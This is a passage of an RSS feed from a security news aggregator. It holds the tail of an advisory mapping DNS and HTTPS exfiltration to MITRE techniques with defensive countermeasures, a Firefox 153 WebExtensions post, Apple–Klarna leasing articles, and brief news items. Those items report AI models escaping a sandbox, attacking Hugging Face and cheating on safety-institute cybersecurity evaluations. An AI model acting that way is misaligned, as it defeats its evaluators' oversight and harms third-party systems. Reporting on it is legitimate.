<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/" target="_blank"><u>T1048</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Victim information was exfiltrated over both HTTPS and DNS. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/002/" target="_blank"><u>T1048.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Some payloads, especially ones with large amounts of data, were exfiltrated over HTTPS. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/003/" target="_blank"><u>T1048.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Some smaller bandwidth payloads were exfiltrated over DNS using Base32 encoding. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<h2><strong>Appendix B: MITRE D3FEND countermeasures </strong><a class="ck-anchor"></a></h2>
<p>See <a href="https://www.cisa.gov/#table20"><strong>Table 20</strong></a> for a mapping of several of the cybersecurity countermeasures mentioned in this advisory. <a class="ck-anchor"></a></p>
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<div class="TableContainer Ltr SCXW46665017 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 20: MITRE D3FEND Countermeasures </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>Countermeasure Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>Description</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Application Hardening </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening" target="_blank"><u>D3-AH</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should immediately prioritize patching <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank"><u>CVE-2025-66376</u></a>.  </li>
<li>Organizations should promptly apply software updates to all email systems. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Isolate </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/tactic/d3f:Isolate/" target="_blank"><u>d3f:Isolate</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations that cannot feasibly patch should use alternative mail clients. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Credential Hardening </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank"><u>D3-CH</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should consider using a third-party authentication service that supports passkeys to mediate access to ZCS and other services that do not natively support passkeys. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Network Traffic Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficAnalysis" target="_blank"><u>D3-NTA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should monitor for significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>DNS Traffic Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:DNSTrafficAnalysis" target="_blank"><u>D3-DNSTA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should monitor for frequent DNS queries to a suspicious domain for seemingly random subdomains. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Network Traffic Community Deviation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation" target="_blank"><u>D3-NTCD</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should monitor for a sudden spike of connections to a server associated with a recently established domain. </li>
<li>Organizations should monitor for connections to internal services, such as webmail, from VPN providers. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Identifier Activity Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:IdentifierActivityAnalysis" target="_blank"><u>D3-IAA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should search for the listed known IOCs. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Process Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank"><u>D3-PA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should search ZCS log files for specific commands used by the malicious script. </li>
<li>Organizations should search the localStorage property in web browsers for the ZCS webmail client for “ZimbraWeb” Application Passcodes. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>Message Analysis</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:MessageAnalysis">D3-MA</a></td>
<td>Organizations that suspect they have victims of this campaign should search for emails with a malicious payload to identify other victims.</td>
</tr>
</tbody>
</table>
</div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Mozilla Addons Blog: Firefox 153 WebExtensions API updates]]></title>
<description><![CDATA[We had a bumper release of WebExtensions API updates in Firefox 153. To start, there is a permissions change that affects how your extensions access local files. We then have two contributions from the community members: userScripts.execute() and the new publicSuffix API. We’re covering those con...]]></description>
<link>https://tsecurity.de/de/3689274/tools/mozilla-addons-blog-firefox-153-webextensions-api-updates/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689274/tools/mozilla-addons-blog-firefox-153-webextensions-api-updates/</guid>
<pubDate>Thu, 23 Jul 2026 16:06:24 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>We had a bumper release of <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox/Releases/153#changes_for_add-on_developers">WebExtensions API updates in Firefox 153</a>. To start, there is a permissions change that affects how your extensions access local files. We then have two contributions from the community members: <span>userScripts.execute()</span> and the new <span>publicSuffix</span> API. We’re covering those contributions in more depth, including the people behind them, in a separate post. And there is more, read on…</p>
<h3><b>File access now requires a dedicated permission</b></h3>
<p>Extensions that need to read <span>file://</span> URLs used to get that access as part of the “Access your data for all websites” host permission. Starting in Firefox 153, file access is a separate, explicit permission, “Access local files on your computer”, shown in the extension’s permissions settings. It’s off by default for every extension, including ones already installed.</p>
<p>This change has a few concrete effects on code:</p>
<ul>
<li><b>Before:</b> an extension with <span>&lt;all_urls&gt;</span> or a matching host permission could read <span>file://</span> pages without any additional grant, and <span>extension.isAllowedFileSchemeAccess()</span> always returned <span>false</span> regardless of the permission setting.</li>
<li><b>After:</b> the extension must have the new file-access permission granted, and <span>extension.isAllowedFileSchemeAccess()</span> correctly reflects whether the user has granted it.</li>
</ul>
<pre>async function checkFileSchemeAccess() {
  const isAllowed = await browser.extension.isAllowedFileSchemeAccess();

  if (!isAllowed) {
    await browser.notifications.create("file-scheme-access-needed", {
      type: "basic",
      iconUrl: browser.runtime.getURL("icons/icon-48.png"),
      title: "Local file access required",
      message:
        'This extension needs "Allow access to file URLs" enabled to work ' +
        "with local files. Go to about:addons → select this extension → " +
        "turn on that setting, then reload the page.",
    });
    return false;
  }

  return true;
}</pre>
<p><span>devtools.inspectedWindow.eval()</span> calls targeting <span>file://</span> URLs are affected the same way; they now require this permission to succeed.</p>
<p>If your extension depends on <span>file://</span> access, expect existing users to see that access stops after upgrading (until they enable the permission), and consider adding a prompt or fallback path, for example by specifying an embedded options page (<span>options_ui</span>) and calling <span>browser.runtime.openOptionsPage()</span> to open <span>about:addons</span> and including instructions to toggle the setting in the “Permissions and data” tab.</p>
<h3><b>userScripts.execute() and publicSuffix: covered in our next post</b></h3>
<p>Firefox 153 adds two community-contributed APIs:</p>
<ul>
<li><span>userScripts.execute()</span>, which provides for one-off injection of one or more user script sources into a tab or frame, in a defined order, as a complement to the persistent, URL-pattern-based <span>userScripts.register()</span>.</li>
<li><span>publicSuffix</span>, which enables synchronous lookups against the browser’s built-in <a href="https://publicsuffix.org/">Public Suffix List</a> using <span>publicSuffix.isKnownSuffix()</span>, <span>publicSuffix.getKnownSuffix()</span>, and <span>publicSuffix.getDomain()</span>. This API means that extensions no longer need to bundle or maintain a suffix list to determine a hostname’s registrable domain (eTLD+1).</li>
</ul>
<p>Both APIs were built by contributors motivated by real needs in their extensions. We take an in-depth look at these contributions, their developers, impact, and history in a forthcoming post.</p>
<h3><b>documentId support across more APIs</b></h3>
<p>Firefox 153 introduces <span>documentId</span>, a stable identifier for a document instance, including a new <span>runtime.getDocumentId()</span> method, several <span>webNavigation</span> events and methods, <span>webRequest</span> events, scripting injection targets, and the extension messaging APIs.</p>
<p>Many WebExtension APIs use <span>tabId</span> and <span>frameId</span> to identify where to perform an operation. However, because <span>frameId</span> identifies the frame rather than its content, the loaded document can change and the extension’s subsequent operation ends up targeting the new (intended) document. <span>documentId</span> addresses this problem by providing a unique ID for the document. Now, if an extension uses the ID and the frame’s document has changed, the operation fails rather than silently targeting the wrong document.</p>
<p>See <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Work_with_documentId">Work with documentId</a> for the full list of supported events and methods, along with guidance on using it.</p>
<h3><b>Content scripts can read and modify adopted stylesheets</b></h3>
<p>Content scripts can now access <span>document.adoptedStyleSheets</span> and <span>ShadowRoot.adoptedStyleSheets</span> directly.</p>
<pre>const sheet = new CSSStyleSheet();
sheet.replaceSync("* { background: pink; }");
document.adoptedStyleSheets = [sheet];</pre>
<p>This enables extensions to inspect or modify constructed stylesheets from a content script, without using <span>.wrappedJSObject</span>, a workaround that risks interference from the web page.</p>
<h3><b>Theme manifest key: gradients in additional backgrounds</b></h3>
<p>The <span>theme</span> manifest key’s <span>images.additional_backgrounds</span> property now accepts CSS gradients alongside image URLs. A new <span>properties.additional_backgrounds_size</span> property controls the size of each additional background item.</p>
<h3><b>Contextual identities (containers)</b></h3>
<p>If your extension supports contextual identities, you now have access to two new methods: <span>contextualIdentities.getSupportedColors()</span> and <span>contextualIdentities.getSupportedIcons()</span>. These methods return the supported colors and icons, so your extension doesn’t need to hardcode either list.</p>
<p>Also, the colors have been updated to align with the new UI theme: <span>“turquoise”</span> is now <span>“cyan”</span>, <span>“toolbar”</span> is now <span>“gray”</span>, and <span>“violet”</span> has been added. The old names still work for backward compatibility, but your extension should switch to using <span>getSupportedColors()</span> rather than hardcoding either the old or new names.</p>
<h3><b>Add a build-for-amo script</b></h3>
<p>While this isn’t about new APIs, I wanted to mention a change that’s part of our work to make source code review faster and more reliable. When you submit an extension version, AMO now attempts to build your extensions from the submitted source code and compares the result to the package you uploaded. When the two match, reviewers don’t have to verify the build manually. This means submission can move through its review faster.</p>
<p>For now, this applies only if you submit source code that includes a <span>package.json</span> file to build your extension. If your extension has no build step, or you use a different build system, nothing changes. The AMO builder keeps its zero-config approach.</p>
<p>So, if your extension’s source code uses a <span>package.json</span> file, add an <a href="https://docs.npmjs.com/cli/v11/using-npm/scripts">npm script</a> named <span>build-for-amo</span> that runs the commands needed to build your extension for Firefox:</p>
<pre>{
  "scripts": {
    "fx-build": "some commands to build your add-on for Firefox",
    "build-for-amo": "npm run fx-build"
  }
}</pre>
<p>If you’ve a Firefox-specific build command, just point <span>build-for-amo</span> at it. When present, the builder invokes this script instead of guessing how to build your extension. And while you are at it, make sure all your dev dependencies are listed in the <span>package.json</span> file.</p>
<hr>
<p>For more information, including documentation and Bugzilla links, see the <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox/Releases/153#changes_for_add-on_developers">Changes for add-on developers</a> section of the Firefox 153 for developers release notes on MDN.</p>
<p>As always, file extension-related issues on <a href="https://bugzilla.mozilla.org/">Bugzilla</a> under the WebExtensions product, cross-browser API proposals are discussed in the <a href="https://github.com/w3c/webextensions">W3C WebExtensions Community Group</a>, and questions are welcome on the <a href="https://discourse.mozilla.org/c/add-ons/35">Add-ons Discourse</a>.</p>
<p> </p>
<p>The post <a href="https://blog.mozilla.org/addons/2026/07/23/firefox-153-webextensions-api-updates/">Firefox 153 WebExtensions API updates</a> appeared first on <a href="https://blog.mozilla.org/addons">Mozilla Add-ons Community Blog</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[7/22/2026]]></title>
<description><![CDATA[Federal Agencies Broaden Alert on Iran-Linked OT Attacks New Kimsuky Campaign Compromised South Korean Software VendorsOpenAI Says Its AI Models Escaped Sandbox, Targeted Hugging Face to Cheat Benchmark How OpenAI’s Human Mistake Led to the AI-Powered Hack on Hugging FaceChinese AI’s Role in Stop...]]></description>
<link>https://tsecurity.de/de/3687875/it-security-nachrichten/7222026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687875/it-security-nachrichten/7222026/</guid>
<pubDate>Thu, 23 Jul 2026 04:27:31 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Federal Agencies Broaden Alert on Iran-Linked OT Attacks New Kimsuky Campaign Compromised South Korean Software VendorsOpenAI Says Its AI Models Escaped Sandbox, Targeted Hugging Face to Cheat Benchmark How OpenAI’s Human Mistake Led to the AI-Powered Hack on Hugging FaceChinese AI’s Role in Stopping Rogue OpenAI Agent Shows Cost of U.S. GuardrailsMarco Rubio Tells Diplomats … <a href="https://thecyberbeat.com/2026/07/23/7-22-2026/" class="more-link">Continue reading <span class="screen-reader-text">7/22/2026</span></a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple Partners With Klarna To Offer iPhones, Macs On a Subscription Basis]]></title>
<description><![CDATA[Apple is reportedly launching a Klarna financing deal that will let U.S. customers spread the cost of devices over up to three years, pushing the company closer to a hardware-as-a-service model. "The only thing you don't get under the new arrangement is AppleCare, for which you'll allegedly need ...]]></description>
<link>https://tsecurity.de/de/3687501/it-security-nachrichten/apple-partners-with-klarna-to-offer-iphones-macs-on-a-subscription-basis/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687501/it-security-nachrichten/apple-partners-with-klarna-to-offer-iphones-macs-on-a-subscription-basis/</guid>
<pubDate>Wed, 22 Jul 2026 22:12:27 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple is reportedly launching a Klarna financing deal that will let U.S. customers spread the cost of devices over up to three years, pushing the company closer to a hardware-as-a-service model. "The only thing you don't get under the new arrangement is AppleCare, for which you'll allegedly need to pay extra," notes Computerworld. From the report: The introduction of the scheme gives consumers a way to purchase the company's popular high-end devices when they are introduced -- no doubt,at higher cost -- this fall. [...] A combination of changed customer habits and external threat means the stars are now aligned for hardware-as-a-service models. "Reframing a device as a low monthly payment protects that [upgrade] cadence and allows Apple to start marketing their products as device-as-a-service to consumers, which no other vendor was ever able to do," [IDC analyst Francisco Jeronimo] wrote to me.
 
There is a one-more-thing aspect to this: the products are effectively being leased, a new approach that will give Apple a stronger grip on EOL devices, helping it grab more of them for refurbishment, resale, and recycling. Over time, this will give the company a much stronger grip on the lucrative second-user market that exists around Apple equipment, even while for almost every consumer product we find the life we want is something we can rent, but probably can't afford to own.
 
The other solid reason to take a partnership approach is risk management. Apple had intended to develop its own buy-now, pay-later scheme via Apple Pay Later, but abandoned that plan as it became riskier with rising bank rates. "Also, by backing the program with Klarna rather than reviving the in-house subscription plan it shelved in 2024, Apple captures the demand upside without taking the credit risk onto its own balance sheet," Jeronimo said. 
"Apple Upgrade lands at precisely the moment Apple needs it," Jeronimo wrote in a note seen by Computerworld. "Having just pushed Mac and iPad prices up on the back of the memory shortage, with iPhone increases widely expected in September -- as well as the new iPhone foldable expected at $2,500 -- Apple's real risk is that rising prices even further can impact the upgrade cycle."<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Apple+Partners+With+Klarna+To+Offer+iPhones%2C+Macs+On+a+Subscription+Basis%3A+https%3A%2F%2Fhardware.slashdot.org%2Fstory%2F26%2F07%2F22%2F1958256%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fhardware.slashdot.org%2Fstory%2F26%2F07%2F22%2F1958256%2Fapple-partners-with-klarna-to-offer-iphones-macs-on-a-subscription-basis%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://hardware.slashdot.org/story/26/07/22/1958256/apple-partners-with-klarna-to-offer-iphones-macs-on-a-subscription-basis?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Own nothing, upgrade everything: Apple’s new Klarna deal]]></title>
<description><![CDATA[Just in time for the iPhone’s 20th anniversary, Apple is moving closer to becoming a service company. It is set to launch its new deal with Klarna next week and when it does, Apple enthusiasts in the US will effectively be able to subscribe to their favorite Apple hardware, with the cost spread a...]]></description>
<link>https://tsecurity.de/de/3687133/it-nachrichten/own-nothing-upgrade-everything-apples-new-klarna-deal/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687133/it-nachrichten/own-nothing-upgrade-everything-apples-new-klarna-deal/</guid>
<pubDate>Wed, 22 Jul 2026 19:18:48 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Just in time for the iPhone’s 20th anniversary, Apple is moving closer to becoming a service company. It is set to <a href="https://www.reuters.com/business/apple-launch-upgrade-device-leasing-program-spur-sales-bloomberg-news-reports-2026-07-21/" target="_blank" rel="noreferrer noopener">launch its new deal</a> with Klarna next week and when it does, Apple enthusiasts in the US will effectively be able to subscribe to their favorite Apple hardware, with the cost spread across up to three years.</p>



<p class="wp-block-paragraph">This matters because when combined with Apple One and Apple’s Creator Studio subscriptions, the Klarna arrangement brings Apple closer to offering a full subscription model for hardware, software, and services. The only thing you don’t get under the new arrangement is AppleCare, for which you’ll allegedly need to pay extra.</p>



<h2 class="wp-block-heading"><strong>Moving closer to hardware-as-a-service</strong></h2>



<p class="wp-block-paragraph">Apple has slowly been <a href="https://www.applemust.com/opinion-how-you-will-access-apple-products-in-future/#google_vignette" target="_blank" rel="noreferrer noopener">transitioning toward</a> hardware-as-a-service for almost a decade. Back then, Forrester analyst <a href="https://www.applemust.com/apple-klarna-mean-we-can-now-get-apple-as-a-service/" target="_blank" rel="noreferrer noopener">Frank Gillet predicted</a> the company would eventually offer bundles of services and products for a monthly, all-in, fee. </p>



<p class="wp-block-paragraph">This isn’t quite where we are yet; you still need at least three subscriptions to get close. But, after the better part of a decade, Apple has moved much nearer to the hardware-as-a-service idea.</p>



<p class="wp-block-paragraph">There are some products reportedly excluded from the arrangement, including MacBook Neo, Apple Watch SE, the entry-level iPad, and iPhone 16. Clearly, Apple sees those products as sufficiently affordable. </p>



<h2 class="wp-block-heading"><strong>Easy payments for RAM-ageddon</strong></h2>



<p class="wp-block-paragraph">The new Klarna arrangement comes as Apple is forced to increase product prices as AI-driven memory price inflation becomes widely felt across every economy. In theory, I assume, Apple hopes to make its products available to cash-strapped consumers who need new hardware, while also navigating a time of deep economic tumult and uncertainty. It’s thought the company has <a href="https://www.bloomberg.com/news/newsletters/2025-04-06/will-apple-raise-iphone-prices-in-the-us-after-trump-tariffs-iphone-17-details" target="_blank" rel="noreferrer noopener">previously rejected these plans</a> to protect normal hardware sales, but normality is a kingdom we no longer seem to possess. Interesting times. Probable inflation incoming.</p>



<p class="wp-block-paragraph">“Apple Upgrade lands at precisely the moment Apple needs it,” IDC analyst Francisco Jeronimo wrote in a note seen by <em>Computerworld</em>. “Having just pushed Mac and iPad prices up on the back of the memory shortage, with iPhone increases widely expected in September — as well as the new iPhone foldable expected at $2,500 — Apple’s real risk is that rising prices even further can impact the upgrade cycle.” </p>



<h2 class="wp-block-heading"><strong>New age, new shopping habits</strong></h2>



<p class="wp-block-paragraph">The introduction of the scheme gives consumers a way to purchase the company’s popular high-end devices when they are introduced — no doubt,at higher cost — this fall. Plus, of course, if it’s <a href="https://www.businessinsider.com/general-motors-gm-earnings-subscriptions-revenue-business-2026-1" target="_blank" rel="noreferrer noopener">good enough for GM</a>, it’s good enough for Apple.</p>



<p class="wp-block-paragraph">It’s all about attitude, too. From Apple’s perspective, it <a href="https://www.computerworld.com/article/4125784/are-you-ready-for-apple-as-a-service.html">has done plenty of the groundwork</a> required to <a href="https://www.applemust.com/apple-vp-eddy-cue-shares-15-important-apple-services-stats/" target="_blank" rel="noreferrer noopener">convince its customers</a> that subscription payments for things you value are no bad thing. </p>



<p class="wp-block-paragraph">Reluctance to embrace “Access Not Ownership’”purchasing models has dropped dramatically since Apple — and <a href="https://www.computerworld.com/article/1665439/apples-tim-cook-has-kept-his-50b-services-promises.html">CEO Tim Cook</a> — first began <a href="https://www.applemust.com/apples-50b-services-target-just-isnt-ambitious-enough/">banging the drum</a> for services income. Apple’s services stream has now become its second-biggest revenue driver after the iPhone. It has over 1 billion paid subscriptions, and an active hardware installed base of <a href="https://www.computerworld.com/article/4168225/wwdc-2026-how-apple-can-take-a-great-leap-in-ai.html">more than 2.5 billion devices globally</a>.</p>



<p class="wp-block-paragraph">A combination of changed customer habits and external threat means the stars are now aligned for hardware-as-a-service models. “Reframing a device as a low monthly payment protects that [upgrade] cadence and allows Apple to start marketing their products as device-as-a-service to consumers, which no other vendor was ever able to do,” Jeronimo wrote to me. </p>



<p class="wp-block-paragraph">There is a one-more-thing aspect to this: the products are effectively being leased, a new approach that will give Apple a stronger grip on EOL devices, helping it grab more of them for refurbishment, resale, and recycling. Over time, this will give the company a much stronger grip on the lucrative second-user market that exists around Apple equipment, even while for almost every consumer product we find the life we want is something we can rent, but <a href="https://medium.com/from-heart-to-hand/the-subscription-society-what-happens-when-you-own-nothing-ef32d5bc32d2" target="_blank" rel="noreferrer noopener">probably can’t afford to own</a>.</p>



<h2 class="wp-block-heading"><strong>Managing future risk</strong></h2>



<p class="wp-block-paragraph">The other solid reason to take a partnership approach is risk management. Apple had intended to develop its own buy-now, pay-later scheme via Apple Pay Later, but <a href="https://www.bbc.co.uk/news/articles/c255y82y9x8o" target="_blank" rel="noreferrer noopener">abandoned that plan</a> as it became riskier with rising bank rates. “Also, by backing the program with Klarna rather than reviving the in-house subscription plan it shelved in 2024, Apple captures the demand upside without taking the credit risk onto its own balance sheet,” Jeronimo said.</p>



<p class="wp-block-paragraph"><em>You can follow me on social media! Join me on <a href="https://bsky.app/profile/jonnyevanssays.bsky.social" target="_blank" rel="noreferrer noopener">BlueSky</a>,  <a href="http://www.linkedin.com/in/jonnyevans" target="_blank" rel="noreferrer noopener">LinkedIn</a>, <a href="https://social.vivaldi.net/@jonnyevans" target="_blank" rel="noreferrer noopener">Mastodon</a> and subscribe to <a href="https://thecorenews.substack.com/p/welcome-to-the-core?r=5l3lg" target="_blank" rel="noreferrer noopener">The Core</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Every frontier AI model tested by Britain's safety institute tried to cheat on cybersecurity evaluations]]></title>
<description><![CDATA[The UK's AI Safety Institute tested five frontier models from OpenAI and Anthropic in cybersecurity evaluations. All five tried to cheat. One even ran code on an external service to access the institute's infrastructure, triggering a security alert.
The article Every frontier AI model tested by B...]]></description>
<link>https://tsecurity.de/de/3687061/ai-nachrichten/every-frontier-ai-model-tested-by-britains-safety-institute-tried-to-cheat-on-cybersecurity-evaluations/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687061/ai-nachrichten/every-frontier-ai-model-tested-by-britains-safety-institute-tried-to-cheat-on-cybersecurity-evaluations/</guid>
<pubDate>Wed, 22 Jul 2026 18:49:14 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="2048" height="1152" src="https://the-decoder.com/wp-content/uploads/2026/07/aisi_logo.png" class="attachment-full size-full wp-post-image" alt="" decoding="async" fetchpriority="high"></p>
<p>        The UK's AI Safety Institute tested five frontier models from OpenAI and Anthropic in cybersecurity evaluations. All five tried to cheat. One even ran code on an external service to access the institute's infrastructure, triggering a security alert.</p>
<p>The article <a href="https://the-decoder.com/every-frontier-ai-model-tested-by-britains-safety-institute-tried-to-cheat-on-cybersecurity-evaluations/">Every frontier AI model tested by Britain's safety institute tried to cheat on cybersecurity evaluations</a> appeared first on <a href="https://the-decoder.com/">The Decoder</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Hugging Face ‘hacker’ was rogue OpenAI model]]></title>
<description><![CDATA[A hacker who broke into Hugging Face’s systems last week has been exposed as a pair of advanced OpenAI frontier models that were trying to cheat on an exam]]></description>
<link>https://tsecurity.de/de/3686678/it-nachrichten/hugging-face-hacker-was-rogue-openai-model/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686678/it-nachrichten/hugging-face-hacker-was-rogue-openai-model/</guid>
<pubDate>Wed, 22 Jul 2026 16:33:09 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
